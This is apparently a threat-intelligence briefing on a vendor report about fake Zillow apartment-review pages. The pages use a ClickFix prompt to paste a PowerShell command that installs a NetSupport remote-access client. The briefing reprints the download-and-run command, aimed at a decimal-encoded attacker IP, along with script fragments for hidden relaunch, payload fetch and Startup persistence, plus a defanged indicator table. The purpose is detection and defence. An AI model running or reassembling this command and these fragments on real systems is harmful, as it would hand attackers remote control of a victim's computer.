EfficientIP says 5 keypresses on a fake Zillow page start a NetSupport RAT install; it confirms no victims

1495423691 is 89.34.90.203, and five keypresses fetch it (derived)

EfficientIP Research Labs' post, dated 12 November 2026, prints a PowerShell command whose download address is the single number 1495423691, and prints the conversion 1495423691 to 89.34.90.203. This site re-derived it: 89 × 16,777,216 = 1,493,172,224; 34 × 65,536 = 2,228,224; 90 × 256 = 23,040; 203 × 1 = 203; the four add up to 1,495,423,691 (derived). The post calls the form a decimal DWORD. What the visitor does is three printed steps, Win+R, then Ctrl+V, then Enter, which is five keypresses (derived: 2 + 2 + 1). After that the post walks through the downloaded script under six headings of its own (a count of its sub-headings, derived) and ends at a shortcut named NetSupport.lnk in the Windows Startup folder.

The post's table lists 17 entries (derived count): 8 wildcard indicators under .sbs, made of 7 names of the form apartments-review plus digits and one extra wildcard for a verify subdomain, and 9 supporting .com domains. Those entries sit on 37 domain and address rows (derived). None of the 17 entries contains the word zillow (derived). The brand is on the page, not in the address.

What that does not establish. The post says its investigation "did not confirm victims or data theft". It names no actor, gives no victim count, does not say how anyone reached the pages, does not say whether any page is still up, and does not say what happened on a machine after the client was running. Its opening line, "A routine apartment search could give attackers control of a company computer", is a framing: the CFO who follows the path is, in the post's words, hypothetical. The delivery path in this briefing's diagram is therefore marked as not stated.

Vendor interest, once. EfficientIP sells DNS, DHCP and IP address management and DNS security, including the DNS Threat Pulse feed and DNS Client Query Filtering that the post ends by promoting, and it wrote the post from the vantage point of its own DNS data. Zillow is an impersonated brand, not a party at fault; NetSupport is a legitimate product abused, not a party at fault.

What the post says happens, in the order it gives it

EfficientIP says it found recently registered .sbs domains posing as Zillow apartment-review pages, and that each page reproduced the same design and used an identical ClickFix attack. ClickFix, in the post's definition, is a technique that tricks users into running commands to fix a supposed problem or complete a verification. When the visitor clicks Continue, the page copies a PowerShell command to the clipboard and asks the visitor to run it through Win+R, Ctrl+V, Enter. The diagram below follows the post's order. The delivery path is not drawn because the post does not give one.

Zoom

Zoom

The credited screenshot is worth reading for what it leaves out. The dialog is headed Verification Steps and lists the three key combinations. It does not say that a command is waiting on the clipboard, and it does not say that the Run dialog will start PowerShell. The post's alt text for the same image calls it a captcha popup that instructs users to execute keyboard commands as part of a fraudulent verification process. A visitor who sees a verification box and three keys has no way to know what step 2 pastes.

The script, as the post describes it. The command saves a script called winup2 to the temporary folder and runs it with the execution policy bypassed. The script relaunches itself hidden, sets an install folder named NetSupport under the user's AppData and prepares a temporary folder, writes an embedded Python script to disk and runs it with a downloaded Python runtime. That Python code fetches mestos2.zip over plain HTTP from the same dotted address. The script unpacks the archive, copies its contents into the install folder, searches for Service.exe, creates a Startup shortcut named NetSupport.lnk that points at it, and launches it with the window hidden. The post then says the deployed client's configuration names two gateway domains.

Two details are worth marking. The command as printed has no scheme in front of the number, and the post does not say which scheme the page's version uses; the Python stage, in contrast, is printed with http. And the relaunch passes an argument called Elevated; the post does not say what the script does with it or whether the process ends up elevated.

The number, the keys and the name pattern

Zoom

Why a number. The post does not say why the command uses the decimal form. A reasonable inference, labelled as one, is that a detection that looks for dotted addresses in command lines would not match 1495423691, while a network sensor that records the destination would still see 89.34.90.203. The post's own point is different: the address is a direct connection, so "DNS filtering alone cannot stop that transfer"; its FAQ adds that the downloader's direct-IP connection does not require a DNS lookup.

Where the address sits in the post's table. The payload host 89.34.90.203 is not any of the addresses in the post's domain table (derived by comparing the lists). The two gateway domains the post names, asgomd[.]com and asgrsv[.]com, resolve per the table to 45[.]227[.]254[.]179 and 45[.]227[.]254[.]10. Those two addresses carry 6 and 3 of the post's 9 supporting domains (derived). The post names only the two gateway domains as coming from the client configuration; it does not say how the other seven supporting domains were tied to the campaign.

The name pattern. The post's pattern is apartments-review[0-9]+.sbs, and its table gives seven such names whose digit strings are 7, 8, 7, 9, 7, 9 and 7 digits long (derived count). A rule that watches for lookalikes of the Zillow name would see none of them. A rule that watches for newly registered .sbs names with a long numeric tail, or for wildcard certificates on such names, is a different rule; the post's method of finding more of them was Certificate Transparency search, covered next.

What a DNS vantage shows, and what it cannot

The post's method is infrastructure first. It says the investigation began with a small number of domains seen in EfficientIP Passive DNS, which records domain resolutions over time, then used the naming pattern to search Certificate Transparency data collected by EfficientIP's security team, which turned up further apartments-review domains absent from the passive DNS set. Page and payload analysis then tied the domains together. The table below sets each source against what it can and cannot establish; the right-hand column draws on the post's own cautions.

What DNS filtering does and does not do here. The post is candid about it. DNS filtering can restrict access to the identified domains, but the fetch of the script and the zip goes straight to an address. The post says endpoint controls and monitoring for unexpected script execution remain essential. It still closes with a pitch for its DNS products, which is its right, and the limitation sits in the same post.

A legitimate tool, run by a stranger, from a paste

Several comforting labels do the work of evidence in this chain. The page says Verification Steps, so a visitor treats the keys as a security check. The software is called NetSupport, and the post says "NetSupport Manager is legitimate remote administration software", so its presence on a laptop looks like IT. The file the script looks for is Service.exe, and the shortcut is NetSupport.lnk. None of those names says who installed it.

What the post says about telling a licensed installation from an attacker's. Nothing beyond the statement that NetSupport is legitimate and was abused here. The next paragraph is this site's suggestion, built only from what the post prints. An installation your team deployed arrives by your own software deployment route and sits where that route puts it. The one in the post sits under a user's AppData folder, was started by a shortcut in that user's Startup folder, and carries a client configuration naming asgomd[.]com and asgrsv[.]com. A NetSupport client you cannot trace to a ticket, a package or a deployment tool is the thing to investigate, and one whose configured gateway is one of those two names is the thing the post describes.

Two earlier briefings on this site cover the same ClickFix idea from other angles: a placeholder domain that now serves a ClickFix lure and a fake installer whose copy button swapped the command. The step that carries the weight in all of them is the one where a person pastes something a web page chose for them.

What EfficientIP states, and what it does not

Where the post disagrees with itself

The chart. The post's Figure 2 is captioned as daily observations in EfficientIP Passive DNS. The image itself has a legend reading PAGES observation 2023, an axis title in French that translates as number of downloads, and nine dates from 2023-07-17 to 2023-09-20. The page's alt text for the same image says exchanges per date from 2023 07 17 to 2023 09 20, with values 5 2 7 7 3 2 2 3 2. The post itself is dated November 2026 and calls the domains recently registered. This site cannot tell which label is right: the year may be a labelling slip, or the chart may be an older series. Read as printed, the nine bars sum to 33 across a span of 65 days (derived: 5 + 2 + 7 + 7 + 3 + 2 + 2 + 3 + 2, and 17 July to 20 September 2023). Two bars touch the top of the axis at 7, and the chart does not say whether it is cut off there. None of this is used here as a date for the campaign.

Zoom

The headline against the domains. The post's title says fake Zillow pages. Every domain in its table is an apartments-review name or a supporting .com name, and the brand appears only on the page template. That is not a contradiction, but it is a difference between what the title implies a defender can search for and what the table gives them.

The framing against the finding. The summary leads with an apartment search that could hand attackers a company computer, and the key takeaways say remote access to a work computer can expose company information. The findings section says the investigation documents the mechanism and configured infrastructure and does not establish a victim. The briefing follows the findings.

What to do, in order

EfficientIP's own advice is short. Its post asks for DNS filtering against the identified malicious domains, endpoint controls and monitoring for unexpected script execution, and staff who recognise and report pages that ask them to paste commands into system tools. Its product pitch, the DNS Threat Pulse feed and DNS Client Query Filtering, is marketing. It does not recommend blocking newly registered domains in general, restricting the Run dialog, auditing NetSupport installations or checking Startup folders; those are this site's suggestions below, labelled.

Technical details

Everything in this section is copied from the EfficientIP post dated 12 November 2026 and read on 13 November. Indicators are defanged: dots in domains and addresses are written [.], hxxp replaces http, and the slash in the printed command is written [/] so that the line does not run if pasted. Nothing here was visited, resolved or probed. The script lines are the fragments the post prints; the post prints no complete script and this site adds none.

The command the page puts on the clipboard. Hunt for the same line in PowerShell, process creation and command line logs, with the slash restored. A defender should treat a match as a likely hit on this campaign, not as proof of it.

powershell -ExecutionPolicy Bypass "iwr 1495423691[/]winup2 -OutFile $env:temp\winup2.ps1 -UseBasicParsing;&$env:temp\winup2.ps1"

The conversion. The number is the dotted address written as one integer. Add the dotted form to firewall, proxy and flow searches alongside the decimal.

1495423691 → 89[.]34[.]90[.]203

The script fragments. What each stage does is in the diagram. A defender uses them as search strings for script block logs and file creation events.

# 1. relaunch, hidden
Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`" -Elevated" -WindowStyle Hidden
# 2. directories
$appData = [Environment]::GetFolderPath('ApplicationData')
$installDir = Join-Path $appData 'NetSupport'
tempFolder="env:TEMP\AppSetup"
# 3. Python stage
url = "hxxp://89[.]34[.]90[.]203/mestos2.zip"
urllib.request.urlretrieve(url, zip_path)
# 4. Startup shortcut
$startupFolder = Join-Path $appData 'Microsoft\Windows\Start Menu\Programs\Startup'
$lnkPath = Join-Path $startupFolder 'NetSupport.lnk'
# 5. persistence
$shortcut.TargetPath = $exePath
$shortcut.WorkingDirectory = $installDir
$shortcut.Save()
# 6. launch, hidden
Start-Process -FilePath $exePath -WorkingDirectory $installDir -WindowStyle Hidden

Paths and file names. Check these on endpoints. A NetSupport folder under a user's AppData and a NetSupport.lnk in that user's Startup folder are the two persistent traces the post names.

%APPDATA%\NetSupport
%TEMP%\AppSetup   (printed as tempFolder="env:TEMP\AppSetup")
$env:temp\winup2.ps1
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\NetSupport.lnk   (assembled from the printed Join-Path lines)
Service.exe   (file the script searches for; the shortcut target)
/winup2   (path on the first host)
mestos2.zip   (archive fetched by the Python stage)

Gateway domains from the client configuration. Block them in DNS and search resolver logs. The post names only these two as coming from the client's configuration.

asgomd[.]com
asgrsv[.]com

The domain pattern. A pattern for newly registered name rules and certificate monitoring, as the post prints it.

apartments-review[0-9]+[.]sbs

The post's indicator table. Domains and the addresses the post observed them on, in the post's order, defanged. The wildcard rows cover names under the base name, not the base name alone. The Cloudflare addresses may also serve unrelated sites, as the post says, so use them for searching and not for blocking on their own.

*[.]apartments-review8509831[.]sbs            104[.]21[.]84[.]18
*[.]apartments-review8509831[.]sbs            172[.]67[.]184[.]196
*[.]verify[.]apartments-review8509831[.]sbs   104[.]21[.]84[.]18
*[.]verify[.]apartments-review8509831[.]sbs   172[.]67[.]184[.]196
*[.]apartments-review28829031[.]sbs           104[.]21[.]92[.]237
*[.]apartments-review28829031[.]sbs           172[.]67[.]200[.]29
*[.]apartments-review6125431[.]sbs            104[.]21[.]55[.]29
*[.]apartments-review6125431[.]sbs            172[.]67[.]170[.]85
*[.]apartments-review261679200[.]sbs          188[.]114[.]96[.]2
*[.]apartments-review261679200[.]sbs          188[.]114[.]97[.]2
*[.]apartments-review261679200[.]sbs          188[.]114[.]96[.]11
*[.]apartments-review261679200[.]sbs          104[.]21[.]43[.]189
*[.]apartments-review261679200[.]sbs          172[.]67[.]184[.]77
*[.]apartments-review2138768[.]sbs            104[.]21[.]21[.]223
*[.]apartments-review2138768[.]sbs            172[.]67[.]200[.]217
*[.]apartments-review2138768[.]sbs            188[.]114[.]96[.]2
*[.]apartments-review2138768[.]sbs            188[.]114[.]97[.]2
*[.]apartments-review2138768[.]sbs            188[.]114[.]96[.]3
*[.]apartments-review2138768[.]sbs            188[.]114[.]97[.]3
*[.]apartments-review261634860[.]sbs          188[.]114[.]96[.]11
*[.]apartments-review261634860[.]sbs          188[.]114[.]97[.]11
*[.]apartments-review261634860[.]sbs          188[.]114[.]96[.]3
*[.]apartments-review261634860[.]sbs          188[.]114[.]97[.]3
*[.]apartments-review261634860[.]sbs          104[.]21[.]34[.]213
*[.]apartments-review261634860[.]sbs          172[.]67[.]165[.]148
*[.]apartments-review9384643[.]sbs            172[.]64[.]80[.]1
*[.]apartments-review9384643[.]sbs            188[.]114[.]96[.]11
*[.]apartments-review9384643[.]sbs            188[.]114[.]97[.]11
asgomd[.]com                                  45[.]227[.]254[.]179
bksju[.]com                                   45[.]227[.]254[.]179
bksnb[.]com                                   45[.]227[.]254[.]179
decrmd[.]com                                  45[.]227[.]254[.]179
jpgomd[.]com                                  45[.]227[.]254[.]179
nogomd[.]com                                  45[.]227[.]254[.]179
asgrsv[.]com                                  45[.]227[.]254[.]10
decrsv[.]com                                  45[.]227[.]254[.]10
jpgrsv[.]com                                  45[.]227[.]254[.]10

What the post does not print.

Not printed in the post: hashes of any script, archive or executable; the NetSupport version or licence fields;
the source of the Python runtime; registry keys; file names of the client configuration; detection rules;
registration dates for any domain; the date of any first sighting.

The question the post leaves open

EfficientIP says it saw the pages, the script and the client's configuration, and it says it did not confirm a victim. So the question for anyone with Windows laptops is the one the post cannot answer for you: if an employee pasted a page's clipboard into the Run dialog this morning, which log would show it, and how long would it take anyone to ask what is now sitting under that user's AppData?

Key facts